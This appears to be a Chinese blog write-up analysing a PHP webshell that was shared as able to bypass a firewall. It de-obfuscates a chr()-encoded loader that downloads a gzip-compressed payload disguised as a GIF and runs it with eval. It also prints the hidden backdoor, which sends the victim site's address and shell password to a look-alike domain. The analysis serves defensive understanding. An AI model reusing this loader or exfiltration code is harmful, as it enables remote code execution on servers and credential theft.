有人分享了一个php大马(说是过waf),八成有后门,简单分析了一次

  1. <?php
  2. $password='Shiqi';//登录密码(支持菜刀)
  3. //----------功能程序------------------//
  4. $c="chr";
  5. session_start();
  6. if(empty($_SESSION['PhpCode'])){
  7. $url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47);
  8. $url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117);
  9. $url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111);
  10. $url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103);
  11. $url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55);
  12. $url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47);
  13. $url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102);
  14. $get=chr(102).chr(105).chr(108).chr(101).chr(95);
  15. $get.=chr(103).chr(101).chr(116).chr(95).chr(99);
  16. $get.=chr(111).chr(110).chr(116).chr(101).chr(110);
  17. $get.=chr(116).chr(115);
  18. $_SESSION['PhpCode']=$get($url);}
  19. $un=$c(103).$c(122).$c(105).$c(110);
  20. $un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode('MTAx'));
  21. @eval($un($_SESSION['PhpCode']));
  22. ?>

一共有三个变量,$url、$get、$un,首先对着几个变量ascii转成字符串,看看是什么,用echo输出即可。

就是个简单的基于base64加gzinflate加密

还原一下:

  1. <?php
  2. $password='Shiqi';//登录密码(支持菜刀)
  3. //----------功能程序------------------//
  4. session_start();
  5. if(empty($_SESSION['PhpCode'])){
  6. $url = "http://i.niupic.com/images/2017/05/21/v1QR1M.gif";
  7. $get = "file_get_contents";
  8. $_SESSION['PhpCode']=$get($url);}
  9. $un = "gzinflate";
  10. @eval($un($_SESSION['PhpCode']));
  11. ?>

现在马子的路数很清楚了 通过远程下载主力代码

到这儿我们还是没发现后门,通过wget下载v1QR1M.gif改后缀txt乱码(gzinflate压缩编码本该乱码)

后门部分:

  1. if(isset($_GET['login'])=='geturl'){
  2.  
  3. @set_time_limit(10);
  4.  
  5. $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
  6.  
  7. $serverp = envlpass;
  8.  
  9. $copyurl = base64_decode('SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0=');
  10.  
  11. $url=$copyurl.$serveru.'&pass='.$serverp;
  12.  
  13. $url=urldecode($url);
  14.  
  15. GetHtml($url);
  16.  
  17. }
  18.  
  19. function geturl(){
  20.  
  21. @set_time_limit(10);
  22.  
  23. $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
  24.  
  25. $serverp = envlpass;
  26.  
  27. $copyurl = base64_decode('');
  28.  
  29. $url=$copyurl.$serveru.'&p='.$serverp;
  30.  
  31. $url=urldecode($url);
  32.  
  33. GetHtml($url);
  34.  
  35. }

在1416行
SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0=通过解码得出后门地址HTTP://WWW.FACEB0OK.CC/error.php?name=

一次对php大马的后门的简单分析的更多相关文章

  1. 2019关于phpstudy软件后门简单分析

    2019.9.20得知非官网的一些下载站中的phpstudy版本存在后门文件   说是官网下的就没有后门 20号出现的新闻 今天phpstudy官网21号又更新一波 不太好说这是什么操作哦 此地无银三 ...

  2. 【Java编程实战】Metasploit_Java后门运行原理分析以及实现源码级免杀与JRE精简化

    QQ:3496925334 文章作者:MG1937 CNBLOG博客ID:ALDYS4 未经许可,禁止转载 某日午睡,迷迷糊糊梦到Metasploit里有个Java平台的远控载荷,梦醒后,打开虚拟机, ...

  3. 一个DDOS木马后门病毒的分析

    http://blog.csdn.net/qq1084283172/article/details/49305827 一.样本信息 文件名称:803c617e665ff7e0318386e24df63 ...

  4. 2017-2018-2 20155314《网络对抗技术》Exp2 后门原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp2 后门原理与实践 目录 实验要求 实验内容 实验环境 预备知识 1.后门概念 2.常用后门工具 实验步骤 1 用nc或net ...

  5. 手把手教你编写一个简单的PHP模块形态的后门

    看到Freebuf 小编发表的用这个隐藏于PHP模块中的rootkit,就能持久接管服务器文章,很感兴趣,苦无作者没留下PoC,自己研究一番,有了此文 0×00. 引言 PHP是一个非常流行的web ...

  6. Phpstudy被暴存在隐藏后门-检查方法

    Phpstudy被暴存在隐藏后门-检查方法 一.事件背景 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOp ...

  7. 2019-9-28:渗透测试,phpstudy后门,利用复现

    9月20号爆出Phpstudy存在隐藏后门,简单复现下后门效果 该文章仅供学习,利用方法来自网络文章,仅供参考 目标机:win7系统,安装phpstudy 2018版,php版本5.2或php 5.4 ...

  8. Webshell实现与隐藏探究

    一.什么是webshell webshell简介 webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理 工具,可以 ...

  9. 中国电信某站点JBOSS任意文件上传漏洞

    1.目标站点 http://125.69.112.239/login.jsp 2.简单测试 发现是jboss,HEAD请求头绕过失败,猜测弱口令失败,发现没有删除 http://125.69.112. ...

随机推荐

  1. 大数据平台搭建 - cdh5.11.1 - hive客户端安装

    一.简介 hive是基于hadoop的一种数据仓库工具,可以将结构化的文件映射成为数据库的一张表,并提供简单sql查询功能,底层实现是转化为MapReduce任务计算. 二.安装 (1)下载 从cdh ...

  2. cython的安装

    cython 在linux(ubuntu)下安装 sudo apt-get install cython 安装后  输入 cython 即可验证是否安装成功

  3. TestNG(四) 基本注解BeforeSuite和AfterSuite

    package com.course.testng; import org.testng.annotations.*; public class BasicAnnotation { @Test //最 ...

  4. [Leetcode] 第148题 排序链表

    一.题目描述 在 O(n log n) 时间复杂度和常数级空间复杂度下,对链表进行排序. 示例 1: 输入: 4->2->1->3 输出: 1->2->3->4 示 ...

  5. select 源码分析

    ## select(2),同步的 I/O 复用 直接看 epoll 的源码把自己绕晕了,先整个简单点的下手. - [使用](#usage) - [源码分析](#src_analysis) ### se ...

  6. js控制滚动条在内容更新超出时自动滚到底部

    //滚动条在内容更新时自动滚到底部var message = document.getElementById('message');message.scrollTop = message.scroll ...

  7. Centos6安装MySQL5.7(yum方式)

    1. 下载并安装用来配置mysql的yum源的rpm包 # 下载 wget http://repo.mysql.com/mysql57-community-release-el6-10.noarch. ...

  8. [python]兔子问题,斐波那契数列 递归&非递归

    假设一对幼年兔子需要一个月长成成年兔子,一对成年兔子一个月后每个月都可以繁衍出一对新的幼年兔子(即兔子诞生两个月后开始繁殖).不考虑死亡的情况,问第 N 个月时共有多少对兔子? 结果前几个月的兔子数量 ...

  9. C# 时间戳的相关操作

    一般的 时间戳 格式分为两种 即 10位(秒)时间戳 与 13位(毫秒)时间戳 时间戳 类型也分为两种 即 本地时间戳 与 世界统一(UTC)时间戳 废话不多说,直接上代码: 一.时间戳获取方法 // ...

  10. FileDown

    import org.apache.hadoop.conf.*; import org.apache.hadoop.fs.*; import java.io.IOException; import j ...